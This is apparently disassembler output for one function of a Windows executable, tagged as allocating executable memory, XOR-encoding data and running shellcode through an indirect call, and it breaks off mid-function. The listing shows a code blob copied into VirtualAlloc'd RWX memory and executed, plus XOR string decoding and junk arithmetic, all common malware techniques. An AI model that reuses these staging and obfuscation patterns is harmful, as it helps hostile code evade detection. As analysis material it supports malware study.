Function at 0x14000b480
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x41d0]
mov eax, 0x42d0
call fcn.14002dd00
sub rsp, rax
movaps xmmword [rsp + 0x42c0], xmm6
movaps xmmword [rsp + 0x42b0], xmm7
movaps xmmword [rsp + 0x42a0], xmm8
movaps xmmword [rsp + 0x4290], xmm9
movaps xmmword [rsp + 0x4280], xmm10
movaps xmmword [rsp + 0x4270], xmm11
movaps xmmword [rsp + 0x4260], xmm12
movaps xmmword [rsp + 0x4250], xmm13
movaps xmmword [rsp + 0x4240], xmm14
movaps xmmword [rsp + 0x4230], xmm15
mov rax, qword [0x14003a010]
xor rax, rsp
mov qword [rbp + 0x4120], rax
mov qword [rbp + 0x180], rdx
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x28], rcx
xor r12d, r12d
lea rcx, [rbp + 0x238]
call fcn.1400026a0
lea rdx, [rbp + 0x4208]
lea rcx, [rbp + 0x238]
call fcn.1400026b0
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2b80]
call fcn.1400205f0
mov dword [rbp + 0x1c8], 0x3e7
mov dword [rbp + 0x1cc], 0xf423f
lea rdx, [rbp + 0x2b80]
lea rcx, [rbp + 0x1c8]
call fcn.140022860
mov ebx, eax
lea rcx, [rbp + 0x370]
call fcn.14000e500
lea rcx, [rbp + 0x370]
call fcn.140020ea0
nop
mov edx, ebx
lea rcx, [rbp + 0x370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
movsd xmm0, qword [str.1WAV]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x140030fd0]
mov edx, 0x2e
mov word [rsp + 0x50], dx
xor word [rsp + 0x52], 0x21
xor word [rsp + 0x54], 0x23
xor word [rsp + 0x56], 0x25
xor cx, 0x27
mov word [rsp + 0x58], cx
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.140022ec0
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x370]
call fcn.140020db0
nop
mov dword [rsp + 0x48], 0x104
lea rcx, [rbp + 0x160]
call fcn.1400026a0
lea rdx, [rbp + 0x4208]
lea rcx, [rbp + 0x160]
call fcn.1400026b0
nop
mov ecx, r12d
lea rdi, [0x1400230a0]
lea rbx, [0x140000000]
mov rax, qword [0x14003d120]
test rax, rax
je 0x14000b66e
cmp rax, rdi
je 0x14000b65b
inc ecx
mov rax, qword [rbx + rcx*8 + 0x3d120]
test rax, rax
jne 0x14000b645
jmp 0x14000b66e
mov eax, ecx
mov r9, qword [rbx + rax*8 + 0x3d790]
test r9, r9
jne 0x14000b74f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000b695
mov r9, r12
jmp 0x14000b72e
mov rax, rdi
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b6a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003d780]
mov qword [rbx + rax*8 + 0x3d120], rdi
mov qword [rbx + rax*8 + 0x3d790], r9
inc rax
mov qword [0x14003d780], rax
lea r8, [rbp + 0x3f10]
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
mov rcx, qword [rbp + 0x160]
xor rcx, qword [rbp + 0x168]
mov qword [rbp + 0x160], rcx
mov rax, qword [rbp + 0x170]
mov qword [rax], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp + 0x3f10]
mov r15, 0xffffffffffffffff
mov rbx, r15
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000b7b0
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x14000e48b
mov qword [rsp + 0x78], 7
cmp rbx, 8
jae 0x14000b803
mov qword [rsp + 0x70], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x3f10]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x60], r12w
jmp 0x14000b8be
mov rax, rbx
or rax, 7
mov qword [rbp + 0x250], rax
cmp rax, rsi
ja 0x14000b829
mov ecx, 0xa
mov qword [rbp + 0x50], rcx
mov rsi, rax
cmp rax, rcx
cmovb rsi, rcx
mov rax, rsi
add rax, 1
cmovb rax, r15
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14000e491
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000b883
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e491
mov rcx, rax
call fcn.14002cdd8
test rax, rax
je 0x14000b87c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000b895
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000b892
call fcn.14002cdd8
mov rdi, rax
jmp 0x14000b895
mov rdi, r12
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x3f10]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r12w
mov rdi, qword [rbp + 0x228]
lea r9, [rbp + 0x218]
cmp qword [rbp + 0x230], 8
cmovae r9, qword [rbp + 0x218]
mov rsi, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000b929
lea rax, [rsi + rdi]
mov qword [rsp + 0x70], rax
lea rbx, [rsp + 0x60]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x60]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [rbx + rax*2], r12w
lea rax, [rsp + 0x60]
jmp 0x14000b93b
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x60]
call fcn.1400236c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], r12
mov qword [rbp + 0x1a0], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x188], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x198], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x14000b9bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b9b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002cdd0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r12w
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x17f0]
call fcn.1400205f0
mov dword [rbp + 0xf0], 0xffffff9c
mov dword [rbp + 0xf4], 0x64
mov dword [rsp + 0x30], r12d
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000ba27
imul rax, rax, 0x64
jmp 0x14000ba42
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov qword [rbp + 0x128], r12
lea rcx, [rbp + 0x28]
call fcn.140022930
nop
mov r8, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x78], r8
mov rdx, qword [rbp + 0x120]
cmp rdx, qword [rbp + 0x128]
je 0x14000ba93
mov rcx, r12
mov qword [rbp - 0x78], rcx
mov qword [rdx], r8
add qword [rbp + 0x120], 8
jmp 0x14000baa7
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0x118]
call fcn.140024c30
mov rcx, qword [rbp - 0x78]
mov r13d, 1
test rcx, rcx
je 0x14000babb
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000bacc
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
mov ecx, 8
call fcn.14002cdd8
lea rsi, vtable.MultiplyOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x58], r12
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x120]
cmp rdx, qword [rbp + 0x128]
je 0x14000bb0c
mov rcx, r12
mov qword [rbp - 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x120], 8
jmp 0x14000bb20
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x118]
call fcn.140024c30
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14000bb2e
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rsi, vtable.SubtractOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x60], r12
mov qword [rbp - 0x68], rax
mov rdx, qword [rbp + 0x120]
cmp rdx, qword [rbp + 0x128]
je 0x14000bb6e
mov rcx, r12
mov qword [rbp - 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x120], 8
jmp 0x14000bb82
lea r8, [rbp - 0x68]
lea rcx, [rbp + 0x118]
call fcn.140024c30
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14000bb90
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rsi, vtable.DivideOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x68], r12
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x120]
cmp rdx, qword [rbp + 0x128]
je 0x14000bbd0
mov rcx, r12
mov qword [rbp - 0x60], rcx
mov qword [rdx], rax
add qword [rbp + 0x120], 8
jmp 0x14000bbe4
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x118]
call fcn.140024c30
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000bbf2
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002cdd8
lea rsi, vtable.ModulusOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x30], r12
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x118]
call fcn.140020520
nop
lea rcx, [rbp - 0x20]
call fcn.140020500
nop
lea rcx, [rbp + 0x30]
call fcn.140020500
lea rcx, [rbp + 0x20]
call fcn.140022a20
mov rcx, rax
mov rax, qword [rax]
mov qword [rcx], r12
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x118]
call fcn.140020520
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14000bc6b
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x14000bc7c
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
mov r14d, 0x80000000
movsd xmm11, qword [0x1400319e0]
movsd xmm9, qword [0x140031a00]
movsd xmm13, qword [0x1400319f8]
movsd xmm14, qword [0x1400319f0]
movsd xmm15, qword [0x1400319e8]
movsd xmm7, qword [0x140031ab0]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x14000bcd5
imul rax, rax, 0x64
jmp 0x14000bcf0
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000c888
mov r13d, r12d
nop dword [rax]
mov esi, dword [rbp + 0xf0]
cmp esi, r14d
lea ecx, [rsi + r14]
jb 0x14000bd15
lea ecx, [rsi - 0x80000000]
mov edi, dword [rbp + 0xf4]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x14000bd2a
lea eax, [rdi - 0x80000000]
sub eax, ecx
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000bd3f
call fcn.140024f00
jmp 0x14000bd8d
lea r14d, [rax + 1]
call fcn.140024f00
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x14000bd87
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x14000bd87
nop word [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x14000bd70
mov r14d, 0x80000000
cmp esi, r14d
lea r12d, [rsi + r14]
jb 0x14000bd9d
lea r12d, [rsi - 0x80000000]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x14000bdac
lea eax, [rdi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000bdc4
call fcn.140024f00
mov ecx, eax
jmp 0x14000be11
lea r14d, [rax + 1]
call fcn.140024f00
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x14000be07
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x14000be07
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x14000bdf0
shr rcx, 0x20
mov r14d, 0x80000000
lea edx, [rcx + r12]
mov r8, qword [rbp + 0x120]
mov r9, qword [rbp + 0x118]
sub r8, r9
sar r8, 3
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
cmp esi, r14d
jae 0x14000be5a
add r14d, esi
jmp 0x14000be61
lea r14d, [rsi - 0x80000000]
mov esi, 0x80000000
add edi, esi
sub edi, r14d
lea rcx, [rbp + 0x17f0]
cmp edi, 0xffffffff
jne 0x14000be80
call fcn.140024f00
mov ecx, eax
jmp 0x14000bec0
inc edi
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000beb7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000beb7
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000bea1
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea r8d, [rcx - 0x80000000]
cmp ecx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, r15
call r12
mov dword [rsp + 0x30], eax
movaps xmm10, xmm8
movaps xmm1, xmm11
mov edi, 2
nop
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000bef0
divsd xmm10, xmm1
mulsd xmm10, xmm13
subsd xmm10, xmm14
movaps xmm12, xmm8
movaps xmm1, xmm11
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000bf40
divsd xmm12, xmm1
mulsd xmm12, xmm13
subsd xmm12, xmm14
movaps xmm6, xmm12
andps xmm6, xmm7
movaps xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm11
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm7, xmm1
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm11
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000bfe0
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm11
mov edi, 2
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c042
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xor r15d, r15d
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rbp + 0x1d8]
call fcn.140023b70
nop
lea rdi, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 0x10
jb 0x14000c0e3
mov rdi, qword [rbp + 0x1d8]
mov rcx, rdi
jmp 0x14000c0ea
lea rcx, [rbp + 0x1d8]
mov rdx, rdi
mov rsi, qword [rbp + 0x1e8]
add rsi, rcx
cmp rdx, rsi
je 0x14000c147
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000c137
nop word [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000c120
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000c100
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x140], r15
mov ecx, 0x190
call fcn.14002cdd8
mov qword [rbp + 0x130], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x140], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x138], r14
mov rsi, qword [rbp + 0x130]
cmp rsi, r14
je 0x14000c1cc
nop dword [rax + rax]
lea rdx, [rbp + 0x17f0]
lea rcx, [rbp + 0xf0]
call fcn.140022860
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000c1a0
mov r14, qword [rbp + 0x138]
mov rsi, qword [rbp + 0x130]
mov dword [rbp + 0x1d0], 0xffffff9c
mov dword [rbp + 0x1d4], 0x64
cmp rsi, r14
je 0x14000c220
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x17f0]
lea rcx, [rbp + 0x1d0]
call fcn.140022860
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000c1f0
mov r14, qword [rbp + 0x138]
mov rsi, qword [rbp + 0x130]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.1400256f0
mov r8d, r15d
mov rax, qword [rbp + 0x130]
mov rdx, r15
mov r9, qword [rbp + 0x138]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x14000c2c1
cmp rcx, 8
jb 0x14000c2c1
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000c280
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000c2dc
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000c2d0
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov r14d, dword [rbp + 0xf0]
mov r15d, 0x80000000
cmp r14d, r15d
lea r12d, [r14 + r15]
jb 0x14000c304
lea r12d, [r14 - 0x80000000]
mov esi, dword [rbp + 0xf4]
cmp esi, r15d
lea eax, [rsi + r15]
jb 0x14000c319
lea eax, [rsi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000c331
call fcn.140024f00
mov ecx, eax
jmp 0x14000c374
lea edi, [rax + 1]
call fcn.140024f00
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14000c36a
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c36a
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14000c354
shr rcx, 0x20
mov r15d, 0x80000000
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + r15]
cmp ecx, r15d
cmovae edi, eax
cmp r14d, r15d
jae 0x14000c391
add r15d, r14d
jmp 0x14000c398
lea r15d, [r14 - 0x80000000]
mov eax, 0x80000000
add esi, eax
sub esi, r15d
lea rcx, [rbp + 0x17f0]
cmp esi, 0xffffffff
jne 0x14000c3b7
call fcn.140024f00
mov ecx, eax
jmp 0x14000c3fa
inc esi
call fcn.140024f00
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000c3f6
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x14000c3f6
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000c3e0
shr rcx, 0x20
add ecx, r15d
lea eax, [rcx - 0x80000000]
mov esi, 0x80000000
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
lea ecx, [rdi + rax]
mov eax, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000c449
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rbp + 0xf0]
lea r14d, [rax + rsi]
jne 0x14000c4ef
cmp eax, esi
jb 0x14000c466
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xf4]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000c486
call fcn.140024f00
mov ecx, eax
jmp 0x14000c4cf
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c4c6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c4c6
nop dword [rax + rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c4b0
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x14000c57b
cmp eax, esi
jb 0x14000c4fa
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xf4]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000c51a
call fcn.140024f00
mov ecx, eax
jmp 0x14000c55f
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c556
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c556
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c540
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, 5
xor r15d, r15d
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0xf0]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x14000c5a5
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xf4]
cmp eax, esi
jae 0x14000c5b3
add eax, esi
jmp 0x14000c5b8
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000c5d0
call fcn.140024f00
mov ecx, eax
jmp 0x14000c611
lea edi, [rax + 1]
call fcn.140024f00
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000c608
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000c608
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000c5f2
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x30]
add edx, eax
mov dword [rsp + 0x30], edx
movaps xmm1, xmm8
movaps xmm2, xmm11
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x17f0]
call fcn.140024f00
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000c640
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
test r15b, 1
jne 0x14000c73d
mov eax, dword [rbp + 0xf0]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x14000c6ab
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0xf4]
cmp eax, esi
jae 0x14000c6b9
add eax, esi
jmp 0x14000c6be
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x17f0]
cmp eax, 0xffffffff
jne 0x14000c6d6
